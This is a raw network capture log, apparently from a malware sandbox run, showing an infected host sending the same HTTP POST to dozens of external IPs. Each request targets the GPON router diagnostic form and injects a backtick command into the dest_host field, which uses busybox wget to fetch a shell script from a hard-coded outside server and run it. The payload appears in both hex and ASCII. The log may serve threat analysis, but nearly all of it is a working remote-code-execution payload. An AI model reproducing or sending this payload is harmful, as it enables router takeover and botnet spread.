Mar 2, 2024 12:37:28.964718103 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.23	43146	118.198.10.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964741945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.23	36234	118.30.55.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964741945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.23	45130	210.7.135.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964747906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.23	50346	94.149.143.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964801073 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	48996	212.155.170.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964803934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	46786	178.191.35.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964826107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	47096	37.100.30.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964827061 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	32898	118.93.171.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964858055 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	49560	118.169.237.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964864969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	46968	178.132.183.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964909077 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	38202	5.171.199.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964934111 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	42370	118.86.250.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964953899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	56618	212.38.228.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964957952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	49098	109.230.140.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.964986086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	43154	118.201.90.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965040922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	57850	178.122.174.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965056896 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	48822	109.224.20.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965058088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	53448	42.90.57.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965066910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	47594	37.17.149.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965066910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	52188	2.58.198.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965095997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	59876	212.40.225.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965105057 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	44380	118.156.178.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965142012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	41116	210.62.10.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965164900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	60464	109.194.146.93	443

Timestamp	Bytes transferred	Direction	Data
